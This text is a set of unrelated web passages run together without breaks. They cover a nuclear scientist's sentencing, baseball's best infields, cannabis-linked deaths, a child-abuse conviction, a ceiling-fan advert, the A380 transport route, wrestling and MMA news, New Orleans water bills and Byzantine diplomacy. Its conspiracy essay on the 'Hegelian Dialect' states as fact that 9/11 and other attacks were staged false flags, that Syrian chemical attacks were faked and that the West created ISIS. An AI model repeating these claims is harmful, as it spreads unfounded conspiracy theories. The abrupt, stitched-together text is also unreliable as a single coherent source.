* More specifically, I searched for the text strings “equal,” “fair,” “free” and “libert-” in the party platforms. So, for example, words like “equalize” and “equal” will be counted along with “equality” and “inequality.” There may be a very small number of false positives — for example, the word “affair” (as in “foreign affairs”) contains the text string “fair” — but these cases are rare enough that they aren’t worth worrying about.A former Los Alamos nuclear scientist caught in a sting operation was sentenced to five years in prison after pleading guilty to trying to help Venezuela develop nuclear weapons in exchange for "money and power." He also advised dropping a bomb over NYC.
“I'm going to be the boss with money and power," Pedro Leonardo Mascheroni, a naturalized US citizen from Argentina, is heard telling his wife in a secret FBI recording released before the sentencing on Wednesday.
Back in 2013, Mascheroni and his wife both pleaded guilty to helping Venezuela develop nuclear potential after dealings with an undercover FBI agent posing as a representative in Venezuela. Marjorie Roxby Mascheroni has already been sentenced to a year and a day in prison for conspiring with her husband.
Before Mascheroni himself was sentenced to five years in prison and three years of supervised release on Wednesday, prosecutors played audio and video clips in the courtroom, in which Mascheroni was heard confessing to aiding the South American country.
In one video from March 2008, Mascheroni told a US federal agent that he would help Venezuela develop 40 nuclear weapons to be completed in 10 years.
“Nobody in the United States will know that I am using my brain helping the Venezuelan government,” Mascheroni said in one recording, promising that Venezuela would become a nuclear superpower.
EEUU Pedro L. Mascheroni Sentenciado Por Ayudar a Venezuela a Desarrollar Armas Nucleares... http://t.co/SrM7mYbsmTpic.twitter.com/Rb2AvY9t7b — Claudia I.G.Bonomo™ (@cigbonomo) January 28, 2015
Between March 2008 and October 2009, Mascheroni was in communication with an undercover FBI agent, meeting him three times during that time period. The nuclear physicist approached a person he believed to be a Venezuelan representative after the US rejected his theories that a hydrogen-fluoride laser could produce nuclear energy.
“I’m not an American anymore. This is it,” the upset scientist said in another recording, renouncing his allegiance to the United States.
Shockingly enough, he also stated that could explode a bomb over New York City to destroy its electrical system, claiming it would not hurt anyone. This would allegedly prevent the United States from invading oil-rich Venezuela.
While Washington never alleged that Venezuela sought US nuclear secrets, federal prosecutor Fred Federici said Mascheroni refused to admit he did anything wrong. “He was no true hero,” Federici said. “He was simply a man who betrayed his country.”
In his defense, the 79-year-old scientist said he was not planning to harm anyone. “I was basically selling used cars,” Mascheroni said. “What I was selling was completely science fiction.”
In an interview with AP, Mascheroni denied the accusations and said the US government is wrongly targeting him as a spy after his ideas were rejected in the US and he tried to approach other nations with his concepts of cheaper, cleaner nuclear power.Don't worry, I'll get back to the series on best bullpens of each decade. Continuing our theme of the week, Buster Olney wrote today on his 10 best infields in the game. I agree with him on the Chicago Cubs and San Francisco Giants ranking No. 1 and 2. I disagree with the Kansas City Royals at No. 3. They have a big hole at second base and even if Omar Infante bounces back to his 2014 level, well, he wasn't very good in 2014. Alcides Escobar had a terrific postseason but hit a terrible.257/.293/.320 in the regular season. Eric Hosmer and Mike Moustakas are very good players but not impact hitters on the level of Anthony Rizzo and Kris Bryant.
Anyway, let's look at some of the greatest infields of all-time. We're focusing on a one-year standard, not during a span of time. For example, the Los Angeles Dodgers in the 1970s had the longest-running infield ever with Steve Garvey, Davey Lopes, Bill Russell and Ron Cey. All were All-Stars at some point and they were together from 1973 to 1981. Their best year may have been 1974, when Garvey won the National League MVP Award and all four infielders were worth at least 3.0 WAR. But Garvey was a weak MVP selection -- teammate Jim Wynn had a better season -- and none of the four were really superstar-level players. To be one of the best infields ever you need a superstar anchor.
A quick search on Baseball-Reference reveals four teams that had all four infielders worth at least 4 WAR:
1912 Philadelphia Athletics (Stuffy McInnis, Eddie Collins, Jack Barry, Home Run Baker)
1913 Philadelphia Athletics (same group)
1977 Texas Rangers (Mike Hargrove, Bump Wills, Bert Campaneris, Toby Harrah)
2009 New York Yankees (Mark Teixeira, Robinson Cano, Derek Jeter, Alex Rodriguez)
Let's examine these clubs. Those A's teams may be the best infield of all-time. They were nicknamed the $100,000 infield for good reason. I guess today we'd have to call them the $100 million infield. Collins is arguably the greatest second baseman ever, a clear inner-circle Hall of Famer. Home Run Baker, another Hall of Famer, was one of the premiere sluggers of his era and led the American League in RBIs in 1912 and 1913. McInnis was just 21 in 1912 but hit.327, drove in 101 runs and was regarded as a good defensive first baseman. Barry was a superb defender at shortstop who later coached the Holy Cross baseball team for 40 years. The A's won four AL pennants from 1910 to 1914 and World Series titles in 1910, 1911 and 1913. Their year-by-year combined WAR:
1911: 17.9
1912: 27.9
1913: 26.9
1914: 24.5
Interestingly, when Bill James wrote about the greatest infields in "The New Bill James Historical Abstract," the 1914 team ranked No. 1 all-time by his Win Shares method. I'm inclined to go with the 1912 or '13 team.
The '77 Rangers are one of the more fascinating clubs in major league history. Lenny Randle beat up manager Frank Lucchesi in spring training. They ran through four managers while winning 94 games (after going 76-86 the year before and having just two winning seasons since the franchise was born in 1961). And they were first on Aug. 18 and went 26-18 the rest of the way -- and still finished eight games out of first place because the Royals went 24-1 down the stretch.
It was a good infield. First baseman Hargrove hit.305/.420/.476. Rookie Wills posted a.361 OBP. Veteran shortstop Campaneris signed as a free agent and played good defense. Third baseman Harrah had a.393 OBP, hit 27 home runs and stole 27 bases. All four played 150-plus games. Their collective WAR: 20.8. (And if you want to include catcher as part of the infield, Jim Sundberg was worth 5.0 WAR.)
Excellent, but not all-time great.
The 2009 Yankees won the World Series behind their powerful infield that combined for 112 home runs. Their numbers:
Teixeira:.292/.383/.565, 39 HR, 122 RBI, 5.3 WAR
Cano:.320/.352/.520, 25 HR, 85 RBI, 4.5 WAR
Jeter:.334/.406/.465, 18 HR, 66 RBI, 6.5 WAR
Rodriguez:.286/.402/.532, 30 HR, 100 RBI, 4.1 WAR
Teixeira and Jeter finished 2-3 in the MVP vote and the infield's combined WAR was 20.4. All four were great, although all four had better seasons. If A-Rod had had one of his MVP seasons this year, maybe they get the nod, but he played just 124 games and was merely very good.
In 1927, the New York Giants had an infield with four Hall of Famers: Billy Terry, Rogers Hornsby, Travis Jackson and Freddie Lindstrom. OK, Lindstrom is one of the worst Hall of Famers and Jackson was a poor selection. This group was only together one year as Hornsby was traded. Combined WAR: 23.3. Even with Hornsby hitting.361/.448/.586, their WAR doesn't top those A's teams. Plus, the Giants finished in just third place.
The 1934 Detroit Tigers had a great infield anchored by Hall of Famers Hank Greenberg and Charlie Gehringer, with Billy Rogell at shortstop and Marv Owen at third. They won the AL pennant. Combined WAR: 22.7.
The 1963 St. Louis Cardinals had Bill White, Julian Javier, Dick Groat and Ken Boyer all start the All-Star Game. By the way, only four future Hall of Famers started that game. The AL lineup had to be one of the weakest starting nine ever in an All-Star Game. The '63 Cards' infield was worth 20.5 WAR.
Before digging into the numbers, I thought the 1975-76 Reds may get the nod, with Tony Perez, Joe Morgan, Dave Concepcion and Pete Rose. Morgan was the best player in baseball those two years, Perez is a Hall of Famer, Rose would be one and Concepcion has had his supporters. They're close, but Perez, while an All-Star both years, was past his prime by this time and valued at only 3.1 WAR in 1975 and 2.6 in 1976. Combined WAR:
1975: 22.0 WAR
1976: 23.5 WAR
There have been other great infields and maybe I missed one. Here's a sleeper team: The 2009 Tampa Bay Rays with Carlos Pena, Ben Zobrist, Jason Bartlett and Evan Longoria. Combined WAR: 24.9. Pena hit 39 home runs and slugged.537; Zobrist hit.297/.405/.543; Bartlett hit.320/.389/.490; Longoria hit.281/.364/.526. All four were plus defenders. The only hitch is that Zobrist played all over and started just 81 games at second base.
So, to my great single-season infield ever. It's not one of the 1950s Brooklyn Dodgers or the early '70s Orioles or the Cubs of Tinker-to-Evers-to-Chance fame. I'm going with... the 1982 Milwaukee Brewers.
Check out the numbers:
Cecil Cooper:.313/.342/.528, 32 HR, 121 RBI, 5.6 WAR
Jim Gantner:.295/.335/.369, 4 HR, 43 RBI, 2.6 WAR
Robin Yount:.331/.379/.578, 29 HR, 114 RBI, 10.5 WAR
Paul Molitor:.302/.366/.450, 19 HR, 71 RBI, 6.2 WAR
You have two Hall of Famers, with Yount the league MVP with one of the best seasons of the past few decades. Molitor scored 136 runs and stole 41 bases. Cooper was in the midst of his run of seven consecutive.300 seasons and he hit a career-high in home runs. Gantner was the weak link but still a solid player. The Brewers won 95 games and their only pennant. Their combined WAR was 24.9. Not quite at the level of the 1912-13 A's, but in a more difficult era.
Plus, any time you can mention Harvey's Wallbangers, you have to do it.(Image: Photofusion/Rex)
The first full post-mortems of people who died after smoking cannabis suggest that the drug can kill unaided.
Cannabis has been known to cause death when laced with other substances, by triggering a heart condition or by causing respiratory cancers. But whether it can be directly lethal has remained unclear. A 2011 report from the UK Department of Health says no cases of fatal overdose have been associated with cannabis.
But earlier this month, a UK coroner’s report found that a 31-year-old woman died from a marijuana overdose. So can it be fatal?
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Benno Hartung of University Hospital Düsseldorf in Germany and his colleagues conducted post-mortems on 15 people whose deaths were linked to cannabis use. To rule out other factors that might have contributed to death, such as alcohol use or liver disease, they performed numerous tests, including an autopsy, a toxicology exam, genetic tests and histological analysis of all organs. “It’s a diagnosis of exclusion so you have to rule out all other possibilities,” says Hartung.
Two of the deaths could not be attributed to anything but cannabis intoxication. Both were men who died of cardiac arrhythmia – when the heart beats too quickly or slowly. The team surmises that this was triggered by smoking cannabis. Both men had enough THC – an active chemical in cannabis – in their blood to suggest they had taken cannabis within hours of death. Neither had a history of cardiovascular problems or channelopathies – diseases that increase the risk of heart problems by affecting ion channels. “We did every test we could,” says Hartung.
Long-term effects
It is not clear how cannabis could trigger arrhythmias. There might be unknown channelopathies that increase the risk of cardiac conditions triggered by the drug, says Hartung.
Even so, says David Raynes at the UK National Drug Prevention Alliance,”these deaths are rare and will remain rare. The real risks are from long-term effects on the young brain.”
Several studies show a link between cannabis use and an increased risk of schizophrenia, depression and a lowering of IQ. However, many of these studies remain contentious.
“Even though it may be rare, I hope others investigate death by cannabis intoxication in other cities,” says Hartung, “particularly in light of the increased use of cannabis for pain relief.”
Journal reference: Forensic Science International, DOI: 10.1016/j.forsciint.2014.02.001A former teacher at a London school has been jailed for historic child sex abuse.
Richard Alston, 70, was found guilty of gross indecency with a child and indecent assault on a child.
He had been a teacher at Cavendish School in Ealing during the 1970s, and was the partner of Paedophile Information Exchange founder Peter Righton. The group was set up in the 1970s and campaigned to lower the age of consent.
Together with his partner, the pensioner forced the youngster to watch pornography and then perform sex acts on him.
Alston was today sentenced to a total of 21 months in prison at Southwark Crown Court.
Alston met Righton - 19 years his senior - when he was just 16 years old and they spent some 40 years together.
Judge Alistair McCreath today said: "I acknowledge that at the time you committed these offences you were in a very close relationship with an older man who had very particular and aggressive views about the propriety of sexual behaviour with minors and whilst you had the intelligence, maturity and ability to say no I'm prepared to acknowledge that to some extent at least your behaviour was influenced by him."
Alston, of Vinery Road, Bury St Edmunds, Suffolk only nodded as the sentence was passed.There are many different types of ceiling fans by Fantasia which are available to order online from right here at the Lighting at Home website. There are dozens of different models in stock, from the classic Fantasia fans, to the more extravagant designs of the
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All of our ceiling fans are easily installed, and can be controlled either using a hand-held remote control, a wall-mounted control, or integral pull switch. Furthermore, most of the Fantasia ceiling fans are light adaptable; if you do not purchase a light kit with your fan, it can be bought and easily installed at any time.
What's more, all of our Fantasia ceiling fans come complete with a 10 year warranty; if you have any issues with the motor or any other aspect of your fan, within ten years of their purchase, these issues can be repaired or replaced free of charge.
Fantasia ceiling fans are some of the biggest-selling and most trusted brands of ceiling fans in the UK, with a wide range of high quality products, designed using both contemporary and traditional styles, that can be installed in almost all areas of the home.There are many different types of ceiling fans by Fantasia which are available to order online from right here at the Lighting at Home website. There are dozens of different models in stock, from the classic Fantasia fans, to the more extravagant designs of the Odyssey Viper and Splash ranges.Unlike ceiling fans from other brands, all Fantasia products can be operated all year round, as they have been installed with an innovative reverse motor function. The Fantasia ceiling fan ranges can be operated in the summer to fill the room with cool air, and during colder months, the fan can be reversed to re-circulate warm air that has become trapped at ceiling level, which will add heat to the room and eliminate cold spots and draughts.All of our ceiling fans are easily installed, and can be controlled either using a hand-held remote control, a wall-mounted control, or integral pull switch. Furthermore, most of the Fantasia ceiling fans are light adaptable; if you do not purchase a light kit with your fan, it can be bought and easily installed at any time.What's more, all of our Fantasia ceiling fans come complete with a 10 year warranty; if you have any issues with the motor or any other aspect of your fan, within ten years of their purchase, these issues can be repaired or replaced free of charge.
Alfaro
Alpha
Amalfi
Belaire
Blade
Capri
Capri Combi
Classic
Delta
Desk Fans
Gemini
Genoa
Hurricane
Mayfair
Mayfair Combi
Neptune
Odyssey
Omega
Orion
Palm
Phoenix
Propeller
Riviera
Sigma
Spinnaker
Splash
Tau
Viper
Viper Plus
Zeta
22mm Drop Rods
27mm Drop Rods
Accessories
Blades
LightsGeographical logistics sequence for the A380, with final assembly in Toulouse
The Itinéraire à Grand Gabarit is a water and road route that has been created in order to allow the transport of the outsize structural sections of the Airbus A380 airliner from their point of manufacture to Toulouse for final assembly. The route was largely created by modifying existing waterways and public roads, with the addition of some new road sections. Specially constructed ships, barges and road vehicles carry the aircraft parts on the route,[1] as traditional transportation methods proved unfeasible. The parts are not handled directly.[2]
Major sections of the fuselage of the A380 are built in northern France, Germany and Spain, whilst the wings are built in the United Kingdom. Due to the size of the A380, most of these parts are moved on the surface through the Itinéraire à Grand Gabarit, although some smaller parts are carried by the A300-600ST Beluga aircraft used in the construction of other, smaller, Airbus models.[1][3]
By ship to Bordeaux [ edit ]
Ville de Bordeaux at the Pauillac transfer dock; the barge Breuil can be seen to the left Theat the Pauillac transfer dock; the bargecan be seen to the left
The first stage of the route uses a fleet of three Roll-on/roll-off (RORO) ships; the Ville de Bordeaux (2004), the City of Hamburg (2008) and the Ciudad de Cadiz (2009). These ships are controlled by Fret Cetam SA, a joint venture between shipping companies Höegh Autoliners and Louis Dreyfus Armateurs, and leased to Airbus.[4]
The front and rear sections of the fuselage are loaded aboard one of the fleet in Hamburg in northern Germany, after which the ship travels to Mostyn in the United Kingdom. The wings, which are manufactured at Filton in Bristol and Broughton in North Wales, are transported by barge on the River Dee to Mostyn docks, where the ship adds them to its cargo.[5][6] The Ciudad de Cadiz went aground without cargo on sandbanks outside Mostyn in January 2013, when its moorings burst during high winds.[7]
The next stop is Saint-Nazaire, in western France, where the ship trades the fuselage sections from Hamburg for larger, assembled sections, some of which include the nose. The ship then proceeds to Pauillac, the port of Bordeaux, where it unloads.[6]
The ship then proceeds to Cádiz in southern Spain, where it picks up the belly and tail sections manufactured by Construcciones Aeronáuticas SA, and delivers them to Pauillac.[6]
By barge to Langon [ edit ]
From Pauillac, the A380 parts are transported by barge through the centre of Bordeaux on the River Garonne. The barges carry the parts to Langon, where a special dock has been built to permit the offloading of the barges.[6]
New barges were developed to carry A380 parts. These incorporate ballast tanks, to enable the barges to adjust their water and air draughts to the prevailing conditions. Certain parts of the route must be undertaken at high tide in order to provide sufficient water under the keel, whilst the passage under the Pont de pierre in Bordeaux is undertaken at low tide to provide sufficient headroom.[1][6]
The Canal de Garonne allows barges to go to Toulouse but has insufficient headroom for A380 parts, requiring parts to travel by road on the final leg of their journey.
By road convoy to Toulouse [ edit ]
Road convoy in an intermediate layover point outside L'Isle-Jourdain
From Langon the parts are taken by oversize road convoys over a southerly, and indirect, route to Toulouse. The route was largely determined by the need to avoid any over-bridges. Many adjustments were necessary to junction and other layouts to allow the convoys to pass. In places new roads were constructed, some of which are reserved for the use of the convoys. Convoys travel mostly at night, laying over during the day at specially constructed secure parking areas.[1][8]
The route passes through or past the following places:[8]
The section to Toulouse is designed for transporting a package of a size up to 14 meters high, 8 meters wide and 50 meters long.[9]Loading... Loading...
The world is in an extremely disharmonic state at the moment and divided in almost every way humanly possible. The battle lines are being set, thanks in large part to the highlighted differences in society through religion, race, gender, sexuality, nationality, politics, economic status, information interpretations, and belief systems. What’s interesting is that diversity is such a vital part to any thriving system in nature, yet the same diversity appears to be responsible for the escalating tensions and violence amongst the people of the world. Everyone can feel the disharmony in the air, as the wars never seem to stop, the environment continues to be decimated, and the wealth inequality of the world progressively expands further and further in opposite directions.
On the surface, this appears to be a normal part of the “ups and downs” of life, as history always repeats itself. Yet looking deeper down the rabbit hole, one can clearly see that these differences that divide us are nothing more than illusionary conflicts purposely manufactured by a hidden layer of power. It’s all part of a tactic that’s often referred to as the Hegelian Dialect, and is the reason for most of the division in the world today. It’s time the people wake up to this sick hoax and reclaim the planet.
What’s The Hegelian Dialect?
Divide and conquer, it’s the oldest trick in the book and has been used for generations by people of power to expand empires and control opposition. While it might sound complex to many, it’s really nothing more than the control of perception through the use of deception. It revolves around the concept of a group with an agenda who then create the perception of conflict in order to achieve a certain result that is in alignment with the agenda. The secret to its success is that the same group designs and controls both sides of the conflict unknown to the public and purposely colliding them into each other to achieve a desired outcome. The Hegelian dialect is represented by the equation: thesis vs. anti-thesis = new synthesis, while others simply refer to it as problem, reaction, solution; a problem is created, the pubic reacts to said problem, to which those pulling the strings provide their preordained “solution,” all of which creates the desired outcome for those in charge, while allowing the masses to feel as though they had a part in the process. It’s the idea that pressure from below (problem/thesis) and pressure from above (reaction/anti-thesis), collide in the middle to manifest a preplanned new synthesis (solution). It is arguably the most deceptive, yet most effective tool for people of power to obtain more and more power without the public noticing.
This is most easily understood by looking at the so-called “war on terrorism” going on today. To start, there is first an agenda, which no doubt comes in the form of more power and control through expanded profits and further centralization of power. The agenda is created and adopted by the powerful elite of the establishment, which aim to create more profits for of the military industrial complex and banking, while also transferring more power up the pyramid through the loss of civil liberties and a fearful public. To achieve this, they cannot simply declare war on any country they want because most people, on both sides of the aisle, would likely object, if only to appear as though they represent the will of the people. There has to be a reason. So to pull this off they create a thesis/problem in the form of a manufactured terrorist attack, also known as a false flag. They then manipulate and control the reaction/anti-thesis, which is done through the use of the media to promote fear, anger, and disinformation amongst the public. The combination of these two forces then come into conflict and result in the synthesis/solution, which is more imperialistic war, removal of personal freedoms, and transfer of power from the people into the hands of a few. It’s nothing more than a magic trick, whereas people are suckered into the perception of a conflict, which they then choose sides for, only for the two forces of the conflict to end up combining to form the desired synthesis/solution that was part of the agenda all along.
This has been used over and over throughout history to bring about endless war; always creating a new boogeyman, of which the public can unite and rally around its destruction. They talk about the need for a conflict, as represented above, by the statements made on behalf of the Washington Institute, a globalist think tank. In truth, the war in Vietnam was only made possible through a staged attack in the Gulf of Tonkin, which provided the problem that gave rise to the reaction of controlled media induced fear, and a uniting of popular support amongst the people for the all but necessary perception of an invasion of Vietnam as the only solution. In the very same way, this has been done many times throughout history, such as Hitler burning his own Reichstag building to justify the invasion of other countries, the Israeli’s deliberately sinking the U.S.S. liberty and blaming it on the Egyptians in order to bring the U.S. into the conflict, and the Japanese setting off an explosion on a train in order to blame China and justify an invasion of Manchuria.
21 st Century Hegelian Dialect:
Some will say that this only happens in the past and that today it would be impossible to pull off. However, this couldn’t be more wrong. A perfect example being the War in Iraq and 9/11. Through manufactured events like the terror attacks of 9/11 and weapons of mass destruction propaganda, imperialistic wars of aggression by the state were approved by the public along with the fear-induced acceptance of a loss in civil liberties. The same exact thing is happening right before the people’s eyes in Syria, where the power players of the west aim to whip up enough public support to take over countries in the Middle East, such as Syria. This has largely been manufactured through the use of ISIS. It is now know through leaked documents and spoken statements that ISIS is nothing more than a mercenary proxy army created, funded, and trained by the West and its Arab gulf allies to destabilize the Middle East so the West can then take over control. They have attempted in recent years to create a large enough problem in the minds of western populations in order to convince them to support the war. This has been done through portraying Assad as a madman who massacres his people, through the faking of chemical weapons attacks which were blamed on Assad, and now through the staged buildup of terror through media and false flag attacks in order to scare people into having no other choice but to give up civil liberties for security and demand the state declare war.
This has also been done through the manufacturing of the refugee crisis, which is splitting the people into those who are afraid of terror and want to go to war, and those who want to let refugees into the country. The reality is that the United States has an obligation to aid these refugees due to its major role in the destruction of their countries. Yet, it is important to understand that the refugees could be used as political cover for another false flag attack, which could then be easily blamed on the refugees themselves. This creates a lose-lose scenario for the people who the powers that be can easily exploit for their own gains.
This doesn’t end simply at war either. The Hegelian dialect has infiltrated most of the culture in society, which includes not only the mainstream culture, but unfortunately the counter-culture as well. Here are just a few examples of the Hegelian dialect at work.
Environment – On one side there are the rich capitalists who profit heavily from the destruction of the environment through unsustainable extraction of its resources and unaccountable pollution of the natural world. This is clear to most people. However, on the other end there are environmental groups who oppose the destruction of the natural world. This is fine and noble, but unknown to many in the movement is that these environmental groups have been started and hijacked by the same people polluting the environment. This has been largely done through unelected groups like the Rockefeller Foundation and the Club of Rome (Al Gore is a member), through legislation like cap & trade, and through hired intellectuals and think tanks that were paid to lie and fudge the data. The end synthesis is not really aimed at truly living in harmony with nature, but instead is nothing more than a marketing gimmick and profit-making scheme designed for further control by the elite over the environment.
Drug War – On one side there is the federal government along with some Americans who want to demonize all drugs as highly dangerous to society and therefore should be outlawed, with anyone choosing to participate in them being sent to jail. However, little known to many people is the fact that our own government is largely behind the drug trade through the use of the CIA and FBI, along with its infiltration of criminal gangs and mafias, which it uses as outposts to indirectly sell the drugs to the public. In the end, the synthesis is more profits for the establishment by locking drug offenders up as well as tons of covert money being made through the production and distribution of drugs. The people are not part of the equation.
Civil Liberties/Freedom Groups – On one side there is the establishment system, which only benefits the elite and people connected to them. Many people have become aware of how unjust this system is for the people and how only a few already wealthy people benefit in the end. As a result, movements like the Black Panthers, the Libertarians, and the whole 60’s counterculture hippie movement sprouted up as a resistance to the establishment. They were all portrayed as anti-establishment movements that are willing to stand up for their rights. However, unknown to many today is that the CIA, FBI, non-profit groups, as well as others, infiltrated and funded most of these movements in order to use them for their own purposes. Though many of those inside were truly attempting to bring about change, the people of power at the top of these groups only lead them so far, purposely coming to a dead-end and never solving the root cause. These organizations were only used to heard the rebellious sheep and use them to bring about the elites own agenda.
Left vs. Right Politics – On the
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WWE. Seven-figure contracts and world-wide fame if you’re lucky and good enough. They changed his name but he kept his humor. He worked some good matches. But it didn’t happen. On February 20, 2009, Colt worked a match with Umaga, a 400-pound Somoan with a tough guy gimmick and a rep for stiff work. The match was quick, designed only to show Umaga’s dominance against a weaker opponent. 2 minutes in, Colt was pinned. 3 days later he was out of the job.
But he wasn’t done. Years later and Colt says he’s in a better place now then he ever was in the WWE, and you’d be hard-pressed to call him a liar. He’s got The Art of Wrestling with Colt Cabana, a show that was second only to Serial at one time in 2014. He interviews other wrestlers, people in the industry. He still wrestles the indie circuit, internationally when he can. Though, as with some of the greats, he’s gotten most of his goodwill without throwing a punch.
Colt remembers the harder times, mostly when he wakes in the morning and the pain taps him on the shoulder. And the thigh. And the knees. Tears, breaks and sprains piled on top of one another until they’re your most reliable companion. But to him it’s worth it. The price you pay to tussle with the giants and talk about it after. He’d do it all again, he says.
The 10-Bell Salute, in order of mention:Fabricio Werdum is a patient man.
The UFC heavyweight contender earned his shot at the title with a submission victory over former champion Antonio Rodrigo Nogueira last June and decided to sit and wait for the winner of Cain Velasquez vs. Junior dos Santos. Now, he needs to make a decision.
Velasquez is sidelined after a shoulder surgery and won’t fight anytime soon. Werdum traveled to Las Vegas with his team for a meeting with UFC president Dana White earlier this week, but haven’t made his final decision yet.
"They told me it’s my decision," Werdum told MMAFighting.com. "I had a meeting with Dana White and my team, the UFC said it’s up to me, if I want to wait or fight again. I’m still thinking about it, but I believe I’m going to wait for this opportunity to fight for the title. I’m the next in line. But it’s not 100 percent yet."
If he chooses to fight, Werdum could face the winner of Josh Barnett vs. Travis Browne, but he’s willing to wait for the champion.
"I believe (Cain Velasquez) will return soon, probably around July or August," he said. "It’s normal to recover quickly today, so that’s what I hope. I’ll even send my physical therapist to help him get better. I’ll pay for his recovery (laughs).
"I’ll make my final decision next week," he continued. "It’s an once-in-a-lifetime opportunity, something that I’ve been waiting for a long time. My biggest dream is to fight for the UFC title. I accomplished all my other dreams, becoming a world champion in jiu-jitsu and ADCC, and I still want the world title in MMA."It's one of the city's ongoing challenges and one of the most common complaints from those who live here.
Advertisement WDSU Investigates: 25-percent of water bills were delinquent in New Orleans in 2015 Millions possible go uncollected and could be written off Share Shares Copy Link Copy
It's one of the city's ongoing challenges and one of the most common complaints from those who live here.A water and sewage system straining under decades of wear and tear.And while rates have gone up, we've uncovered that last year alone more than 25 percent of all bills were delinquent in some way, and the city is missing out on millions of dollars.City Hall says it's stepped up collections in recent years and is cracking down, but the number of unpaid bills is high -- and so is the amount of money being left on the table.Which is upsetting to some, who say the city needs to make sure it's collecting what's owed.On any given night, Cafe Giovanni in the French Quarter is playing host to locals and tourists alike.Restaurant owner Duke Locicero is always willing to speak his mind, especially about the sewerage and water board."I get to the boiling point quite a bit," Locicero said.He hit that point last summer, and again in the fall -- when the water pressure in Orleans Parish dropped - twice, and he was forced to boil his water."It kills your business," Locicero said.A big concern, in a city driven by tourism."It really makes a difference, how do you tell someone coming into the city, this a-plus city -- that your can't drink the water or take a shower. It's crazy," Locicero said.Like every other homeowner and business in the city, Locicero is paying more, as the city raised rates 3 years ago.That money is meant to upgrade aging pipes and pumps.But just because the city raised rates, doesn't mean everyone is paying their fair share.Last year, the city said there were just over 165,000 (133,904 open and 31,392 closed) accounts.Of that, more than 44,000 (19,730 open accounts and 24,278 closed accounts) are past due or delinquent in some way, shape or form.That means, more than 25 percent of all 2015 accounts were delinquent."I don't know how you do a rate hike when you can't collect the money that are suppose to get already," Locicero said.A City Hall spokesperson says it's not as bad as it seems. That the city does go after past-due bills, though it takes months -- even years -- to collect.In a statement, the city told WDSU: "Uncollected amounts have improved dramatically over the past five years as a result of more effective collection practices that are in place at sewerage and water board. Collection numbers are not available for 2015, but in 2014 S&WB collected 98.85% of bills."But that 98 percent collection rate can be deceiving - it still means a lot of money is being lost.Here's why: City Hall says if bills are delinquent at year's end the sewerage and water board discontinues service to each customer with balances over $75 and at least 60 days old.If service is not restored within 30 days, the account balance is sent to a collection agency.There's a three-year statute of limitations on the city and collections agencies to get the money.The city says starting from the time an account is billed, the sewerage and water board has three years to collect on the account. after that the balance becomes prescribed - meaning the statute of limitations expires and the debt is considered uncollectable and the balance is written off.A sewerage and water board spokesperson says that in the year 2012: "We billed $136,496,043.64 during 2012 and did not collect $1,888,203.39 of that amount by the end of 2015, yielding a collection rate of 98.62% and an uncollected rate of 1.38%."Meaning the city missed out on and will never collect almost $2 million from that year alone.Money Locicero feels could be used to upgrade an aging water system already under repair."Hopefully, my fingers crossed -- it's been 24 years that I been here - I'm hoping it gets better," Locicero said.The rate increase was passed 3 years ago and it will continue for 8 years, through 2020.That money is being used to repair and upgrade the main water plant.We can also confirm that sources tell us the city's inspector general is also taking another look at the sewerage and water board after several audits into how that body operates, pays overtime and bills customers.Today, the word ‘byzantine’ is used to describe devious actions: intrigue, plotting, and bribing. [1] Historical records show that Byzantine politics were morally neither worse nor better than politics in previous or later years. The problem with the dominant negative stereotypes of the Byzantine era is that it hides the rich contribution of the Byzantine Empire to the evolution of humanity. Let us list some of those contributions and achievements…
One of the most impressive achievements of Byzantium was its very survival during a period of 1123 years (330–1453).[2] It was one of the longest lasting social organisations in history. Byzantium survived through adaptation.[3] The backbone of the Byzantine Empire’s longevity was its administration, which managed to adapt to frequent changes of rulers, and ongoing crises on its borders. With very limited military force, diplomacy was the key for the empire’s survival. Modern research on resilience, innovation, and adaptation could learn a lot from the Byzantine Empire’s historical experience.[4]
Byzantium, with its eclectic approach, was a bridge between ancient and modern Europe in terms of the arts, philosophy, and literature.[5] It provided a unique mix of the ancient Greek and Christian cultures.
Last, as Judith Herrin wrote: ‘without Byzantium there would have been no Europe'.[6] Byzantium served as Europe’s buffer for the ‘incubators of nations and religions’ (Central Asia and the Middle East). By resisting attacks and skilfully integrating new ‘peoples’ (e.g. Slavs, Avars, Arabs, Turks), Byzantium gave Europe time to recover from catastrophic plagues and wars, and prepare for the 'European age' of global affairs.
In the following text we will focus on Byzantium diplomacy, one of the most remarkable contributions to the history of humanity.
Why did Byzantium have efficient diplomacy?
Diplomacy was a necessity for Byzantium because it had enemies on all of its borders and possessed only limited military might. One of the golden rules of the Byzantine elite was to avoid wars at almost all costs. It was fully aware that Byzantium, even with an occasional victory, would lose in the long term if it engaged in military conflict.
Catalysts of the ancient past and innovators for future
The Byzantine period was probably the most important in the history of diplomacy. It created the bridge between diplomacy of the ancient era and modern diplomacy. The Byzantine Empire was both a catalyst of the experience from Ancient Mesopotamia, Egypt, Greece, Rome and an innovator for the future diplomacy passed to our time via Venice and Italian renaissance diplomacy.
Catalysts
Byzantine diplomacy absorbed the following practices of the ancient civilisations:
From Mesopotamia and Egypt: elaborate protocol and ceremonies, dynastic marriage to cement an alliance, trade diplomacy by merchant-ambassadors.
From Greece: use of rhetoric as a tool of public diplomacy (although Byzantine envoys relied far less on oratory than those despatched by the Greek city states).
From Rome: divide and conquer tactics, the first development assistance in the form of great civil engineering projects.
As catalysts, Byzantium particularly excelled in the use of protocol and ceremonies with the main aim to impress foreign dignitaries. Constantinople, with its location, and magnificent constructions (Hagia Sofia, the Hippodrome) was a very impressive place (as it is today). In addition, the Byzantine state developed elaborate ceremonies in order to show the ‘sublime’ character of the Empire. The Emperor received foreigners in the Magnaura Palace, where he sat on a golden throne, surrounded by golden lions that roared, and golden birds that tweeted. A special hydraulic system elevated the throne to the ceiling of the palace, making a lasting impression on visitors. The Book of Ceremonies, compiled by Constantine VII (945–959), described the court rituals, seating arrangements, and other protocol details.
Innovators
Proto Ministry of Foreign Affairs
In Byzantium, diplomacy evolved from ad hoc to organised government activity through its Office of Barbarian Affairs. The Office housed numerous interpretations and translators in foreign languages (dragomans in the Ottoman time kept this transition). Similar to the modern ministry of foreign affairs, the Office prepared Byzantine envoys for missions abroad, analysed reports which arrived from envoys, organised visits of foreign dignitaries to Constantinople, prepared international treaties, etc. The Bureau established the archive as the way to preserve institutional memory. Unlike modern diplomacy, Byzantium did not have permanent diplomatic missions. Envoys were sent abroad in order to deal with specific issues. Some missions lasted for several years.
Introduction of regular diplomatic reporting
